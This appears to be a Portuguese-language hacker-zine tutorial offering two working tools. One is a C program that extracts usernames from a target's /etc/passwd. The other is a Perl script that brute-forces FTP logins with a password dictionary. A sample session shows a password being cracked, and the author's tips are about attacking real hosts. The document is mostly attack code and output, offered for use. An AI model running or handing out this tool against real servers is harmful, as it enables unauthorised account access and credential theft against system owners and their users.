[struck@henix]$ ./bruteftp.pl 127.0.0.1 logins dict
FTP Brute force
by Cheat Struck, struck.8m.com

root - [1] not found - root
root - [1] not found - struck
root - [1] not found - lamah
root - [1] not found - cheat
struck - [1] not found - root
struck - [1] not found - struck
struck - [1] not found - lamah

struck - [8] !!!ENTROU!!! - cheat

[struck@henix]$

Viu??? Facil e pratico...
Soh tipo... nao poe na login_list ftp ou anonymous pq qquer merda
vai entrar como senha. Nao seja burro! Pra ficar mais facil, faiz ela
baseada no /etc/passwd do host. Soh pa poupar seu tempo vai junto o
retire.c que tira o login do passwd pra vc.

[struck@henix]$ gcc retire.c -o retire
[struck@henix]$ ./retire /etc/passwd logins
Retirando logins...
Logins gravados em logins

[struck@henix]$

Ja a wordlist, de preferencia uma pequena com senhas comuns.
Ae estao os programas:

<++> bruteftp/retire.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

main(int argc, char *argv[]) {

FILE *fp, *fp2;
char login[1000], com[50];
int i=0;

if (argc < 3) {
printf("Use %s <passwd> <login_list>\n",argv[0]);
exit(0);
}
printf("Retirando logins...\n");

fp = fopen(argv[1],"r");
fp2 = fopen(argv[2],"w");

while( !feof(fp) ) {

bzero((char *)&login, sizeof(login));
bzero((char *)&com, sizeof(com));

if(fgets(login, 1000, fp) == NULL) break;
login[strlen(login)-1] = ' ';

for(i=0;i<1000;i++){

if(login[i] == ':') break;
com[i] = login[i];

}
fprintf(fp2,"%s\n",com);

}

fclose(fp);
fclose(fp2);
printf("Logins gravados em %s\n\n",argv[2]);

}
<-->

<++> bruteftp/bruteftp.pl
#!/usr/bin/perl
use Socket;
print "\nFTP Brute force";
print "\nby Cheat Struck, struck.8m.com\n";
if ($ARGV[0] eq '' || $ARGV[1] eq '' || $ARGV[2] eq '') {
print "\n\nUsage: bruteftp.pl Host Login_list Word_list";
print "\nEx. hackftp 127.0.0.1 logins Dict\n\n";
exit;
}

$i=0;
$temp='';
$login='';
$temp2='';

$h = "$ARGV[0]";
$p = 21;
$in_addr = (gethostbyname($h));
$addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');

open (FILE2,"$ARGV[1]") || die "cade o lista logins?";

do{
$x=1;$n=0;
&getlogin;
&connection;
&data1;
do{
&getword;
&data2;
&result;
}while($x==1);
close S;

}while(1==1);

sub getlogin
{
$login=''; $l=''; $var12='';
open (FILE,"$ARGV[2]") || die "cade o dicionario?";
do{
$login="$login$var12";
read(FILE2, $var12, 1);
}while($var12 ne chr(10));
$l=$login;
$login="$login$var12";

}
sub getword
{
$temp2='';
do{
read(FILE, $var12, 1);
$temp2="$temp2$var12";
}while($var12 ne chr(10));
$z++; $n++;
if($n == 5) {
close S;
&connection;
&data1;
}
if(eof(FILE)) { $x=0; };
}

sub connection
{
socket(S, AF_INET, SOCK_STREAM, $proto) || die $!;
connect(S,$addr) || die $!;
}

sub data1
{
do{
read(S, $var1, 1) || die $!;
$temp="$temp$var1"; $i++;
}while(substr($temp,$i-3,3) ne '220');

}
sub data2
{
$temp='';
$i=0;
send (S,"user $login\n",0) || die "Erro enviando";
do{
read(S, $var1, 1) || die $!;
$temp="$temp$var1"; $i++;
}while(substr($temp,$i-3,3) ne '331' && substr($temp,$i-3,3) ne '530');
if(substr($temp,$i-3,3) eq '530'){
print "\nLogin nao permitido - $ARGV[1]\n\n";
exit;
}
send (S,"pass $temp2",0) || die "Erro enviando";
$temp='';
$i=0;
do{
read(S, $var1, 1) || die $!;
$temp="$temp$var1"; $i++;
}while(substr($temp,$i-3,3) ne '530' && substr($temp,$i-3,3) ne '230');
}
sub result
{
if(substr($temp,$i-3,3) eq '230'){
print "\n$l - [$z] !!!ENTROU!!! - $temp2\n";
exit;
}
if(substr($temp,$i-3,3) eq '530'){
print "$l - [$z] not found - $temp2";
}
}

<-->